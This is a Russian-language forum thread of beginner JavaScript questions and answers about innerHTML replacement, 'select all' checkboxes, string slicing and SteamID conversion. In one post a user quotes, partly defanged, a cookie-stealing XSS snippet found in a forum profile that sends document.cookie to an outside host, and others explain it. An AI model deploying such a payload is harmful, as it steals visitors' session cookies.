[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. LASS0

    LASS0 Member

    Joined:
    3 Jan 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    1
    подскажите как можно в этом скрипте сделать замену текста. При подставление обычного текста в innerHTML = ... все работает, но если туда еще добавить несколько html тегов и много текста, то замена текста не происходит. Как можно сделать чтобы скрипт работал и подставлял html теги и большое количество текста?


    PHP:
    <script type="text/javascript"
    function 
    zamena(id,text) { document.getElementById(id).innerHTML " текст "  ; }    </script> 

    <a href="javascript:zamena('test',this.value);">Заменить</a>

    <div id="test">Текст для замены</div>
     
  2. SaiRus

    SaiRus Elder - Старейшина

    Joined:
    24 Nov 2008
    Messages:
    369
    Likes Received:
    41
    Reputations:
    0
    чет не то делаешь у меня отлично работает

    HTML:
    <html >
    <body>
     <script type="text/javascript">  
    function zamena(id,text) { document.getElementById(id).innerHTML = " <h1>asdf</h1> "  ; }    </script>  
    <a href="javascript:zamena('test',this.value);">Заменить</a> 
    <div id="test">Текст для замены</div> 
    </body>
    </html>
     
    1 person likes this.
  3. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    this.value
    замени на
    this.innerHTML

    у тега "a" вроде бы нет свойства value
     
    1 person likes this.
  4. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    А вот и я...
    Есть строка
    text = "/me смиёца";
    потом
    add("Юзернейм "+text);
    как вырезать этот /me?
     
  5. Flcn

    Flcn Member

    Joined:
    6 Jul 2009
    Messages:
    56
    Likes Received:
    6
    Reputations:
    0
    дак
    cutedtext = text.slice(4)
     
    1 person likes this.
  6. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Доброго всем временисуток!
    Не дадите линк, на модуль, желательно jquery...

    Смысл вообщем есть див, а все что выходит за предела дива, или находится возле его краев слегка прозрачное
    Т.е. внутри дива, как бы внутреннй ореол, ну например на 15 пикселей, т сто попадет под эти 15 пикселей, растворяется

    ну на блогах я видел, нет времени искать, идит контент, а внизу он, не обрывается, а как бы растворяется в тумане

    спасибо :)
     
    1 person likes this.
  7. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    если остались ссылки на блоги где видел этот плагин, может так будет понятнее что искать.
     
  8. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Имею форму, как добавить чекбокс который будет ставить галочки на всех чекбоксах?

    HTML:
    <table align="center" border="1">
    <form method="post" enctype="application/x-www-form-urlencoded">
    <tr>
    	
    	<td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td>
    </tr>
    <tr>
    	<td align="center">yahoo.com</td>
    	<td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td>
    </tr>
    <tr>
    	<td align="center">ymail.com</td>
    	<td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td>
    </tr>
    <tr>
    	<td align="center">rocketmail.com</td>
    	<td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td>
    </tr>
    <tr>
    	<td align="center">mail.ru</td>
    	<td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td>
    </tr>
    <tr>
    	<td align="center">list.ru</td>
    	<td align="center"><input type="checkbox" value="list.ru" name="list" /></td>
    </tr>
    <tr>
    	<td align="center">bk.ru</td>
    	<td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td>
    </tr>
    <tr>
    	<td align="center">inbox.ru</td>
    	<td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td>
    </tr>
    <tr>
    	<td align="center">yandex.ru</td>
    	<td align="center"><input type="checkbox" value="yandex" name="yandex" /></td>
    </tr>
    <tr>
    	<td align="center">gmail.com</td>
    	<td align="center"><input type="checkbox" value="gmail" name="gmail" /></td>
    </tr>
    <tr>
    	<td align="center">rambler.ru</td>
    	<td align="center"><input type="checkbox" value="rambler" name="rambler" /></td>
    </tr>
    <tr>
    	
    	<td colspan="2" align="center"><input type="submit" value="Check" /></td>
    </tr>
    </form>
    </table>
    
     
  9. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    была похожая ситуация, только в моем случае у всех был одинаковый параметр name="sites[]"

    такая js функ
    Code:
    function checkAll(oForm, cbName, checked)
                 {
                     for (var i=0; i < oForm[cbName].length; i++) oForm[cbName][i].checked = checked;
                 }
    
    Внутри html формы кнопка
    Code:
    <input type="checkbox" onClick="checkAll(this.form,'sel_sites[]',this.checked)"><strong>Все<br /></strong>
    
    и чекбоксы вроде
    Code:
    <td><input type="checkbox" name="sites[]" value="1">Scs</td>
    Если не критична обработка формы, можешь у себя переделать.

    Либо вариант на jQuery

    Code:
    var checked = 0; 
    
    function check_all() {
        if (checked == 0) {
            $('input:checkbox').each(function(){
                $(this).attr({checked:"checked"});
            });
            checked = 1;
        } else {
            $('input:checkbox').each(function(){
                $(this).attr({checked:""});
            });
            checked = 0;
        }
    }
    При 1-ом клике выделяет все, при повторном клике снимает выделение.
     
    #1769 m0nsieur, 3 Sep 2009
    Last edited: 3 Sep 2009
    1 person likes this.
  10. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Форму переделывать очень не желательно, иначе весь скрипт переделывать изза одной кнопки "выбрать все" =\ Может можно как то указать через запятую тут? :
     
  11. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    Посмотри, я сообщение обновил, там другой вариант на jQuery.
     
  12. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Я всеравно не врубаюсь, ты можеш полностью вместе с моим кодом выложить не меняя мою форму, я с JS вообще незнаком, помимо alert()-а ))
     
  13. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    Держи =)
    Не забудь путь до jquery на свой исправить. Если что, пиши в ПМ.

    Code:
    <html>
    <script type="text/javascript" src="jquery.js"></script>
    <script language="JavaScript">
    
    var checked = 0;
    
    function check_all() {
        if (checked == 0) {
            $('input:checkbox').each(function(){
                $(this).attr({checked:"checked"});
            });
            checked = 1;
        } else {
            $('input:checkbox').each(function(){
                $(this).attr({checked:""});
            });
            checked = 0;
        }
    }
    
    </script>
    
    <table align="center" border="1">
    
    <form method="post" enctype="application/x-www-form-urlencoded">
    
    <input type="checkbox" onClick="check_all()"><strong>Выделить все<br /></strong>
    
    
    <tr>  <td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td> </tr> <tr>  <td align="center">yahoo.com</td>  <td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td> </tr> <tr>  <td align="center">ymail.com</td>  <td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td> </tr> <tr>  <td align="center">rocketmail.com</td>  <td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td> </tr> <tr>  <td align="center">mail.ru</td>  <td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td> </tr> <tr>  <td align="center">list.ru</td>  <td align="center"><input type="checkbox" value="list.ru" name="list" /></td> </tr> <tr>  <td align="center">bk.ru</td>  <td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td> </tr> <tr>  <td align="center">inbox.ru</td>  <td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td> </tr> <tr>  <td align="center">yandex.ru</td>  <td align="center"><input type="checkbox" value="yandex" name="yandex" /></td> </tr> <tr>  <td align="center">gmail.com</td>  <td align="center"><input type="checkbox" value="gmail" name="gmail" /></td> </tr> <tr>  <td align="center">rambler.ru</td>  <td align="center"><input type="checkbox" value="rambler" name="rambler" /></td> </tr> <tr>  <td colspan="2" align="center"><input type="submit" value="Check" /></td> </tr>
    </form>
    </table>
    
    </html>
     
  14. Flcn

    Flcn Member

    Joined:
    6 Jul 2009
    Messages:
    56
    Likes Received:
    6
    Reputations:
    0
    формы лучша на prototype делать..
     
  15. Breeze

    Breeze New Member

    Joined:
    1 Sep 2009
    Messages:
    35
    Likes Received:
    4
    Reputations:
    0
    Господа, развейте сомнения новичка.На одном из форумов в профиле одного из учаснегов вместо ссылки на сайт обнаружил такой скрипт: *javascript:document.write(*'<*script>img=newImage():img.src*="*Http://httpz.ru/nba43z2uf0j.gif?*"+document.cookie;*<*/script>'*)
    Натыкал звёздочек я - чтоб,нидайбох, не сработало!:)
    Это то, что я думаю, - т.е. CSS??
     
  16. Flcn

    Flcn Member

    Joined:
    6 Jul 2009
    Messages:
    56
    Likes Received:
    6
    Reputations:
    0
    ну тут он выводит изображение (картинки 1pх1p) + твои куки вроде..
     
  17. Breeze

    Breeze New Member

    Joined:
    1 Sep 2009
    Messages:
    35
    Likes Received:
    4
    Reputations:
    0
    Ну да.Хитрец вставил этот скрипт в свой профиль.:)Все, кто его просматривали - делились с ним кукисами..Но уже забанили парнишку вроде..
     
  18. Ser_UFL

    Ser_UFL New Member

    Joined:
    8 Oct 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Нужна помощь в вопросе опять на тему КС..
    Нужно получить из SteamID ссылку на профиль в стиме.

    Формула расчета такая:

    стимид вида:
    STEAM_X:Y:Z

    ссылка на профиль равна:
    http://steamcommunity.com/profiles/ +
    76561197960265728 + Y + Z*2

    Нашёл вот такой скрипт:
    HTML:
    <script type="text/javascript">
    
    function steamIDToProfile(steamID)
    \{    
        var parts = steamID.split(":");
        
        var iServer = Number(parts[1]);
        var iAuthID = Number(parts[2]);
        
        var converted = "76561197960265728"
    
        lastIndex = converted.length - 1
    
        var toAdd = iAuthID * 2 + iServer;
        var toAddString = new String(toAdd)    
        var addLastIndex = toAddString.length - 1;
    
        for(var i=0;i<=addLastIndex;i++)
        \{
            var num = Number(toAddString.charAt(addLastIndex - i));
            var j=lastIndex - i;
            
            do
            \{
                var num2 = Number(converted.charAt(j));            
                var sum = num + num2;        
                        
                converted = converted.substr(0,j) + (sum % 10).toString() + converted.substr(j+1);    
            
                num = Math.floor(sum / 10);            
                j--;
            }
            while(num);
                
        }
        
        return converted;
    }
    
    function makeLink(profile)
    \{
        return "<a href='http://steamcommunity.com/profiles/" + profile + "'>" + profile + "</a>"
    }
    
    </script>
    
    <input id="input" type="text" value="SteamID here" onclick="this.onclick='';this.value=''">
    <input type="submit" value="Convert" onclick ="document.getElementById('result').innerHTML = makeLink(steamIDToProfile(document.getElementById('input').value))" >
    
    <div id="result">
    
    </div>  
    
    Помогите переделать (по возможности оптимизировать) скрипт, чтобы SteamID вводился внутри скрипта (не через input), а на выходе (при <div id="result"> </div>) получать ссылку вида:
    Code:
    <a href="http://steamcommunity.com/profiles/Тут_результат_расчетной_формулы(76561197960265728 + Y + Z*2)>SteamID_который_ввожу_в_скрипте</a>
     
    #1778 Ser_UFL, 7 Sep 2009
    Last edited: 8 Sep 2009
  19. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    подскажите как сделать чтобы при нажатии на кнопку/картинку выскакивало <b></b>. и плюс - выделяешь текст - жмешь эту кнопку и этот текст в тегах <b>....ну как во многих движках...рыться мне нет смысла т.к в JS я ноль :(
     
  20. restart_05

    restart_05 Member

    Joined:
    5 May 2009
    Messages:
    164
    Likes Received:
    6
    Reputations:
    0
    Мне нужно что при загрузке сайта выходило loading... к примеру как у dle при голосовании авторизации т.д.
     
Thread Status:
Not open for further replies.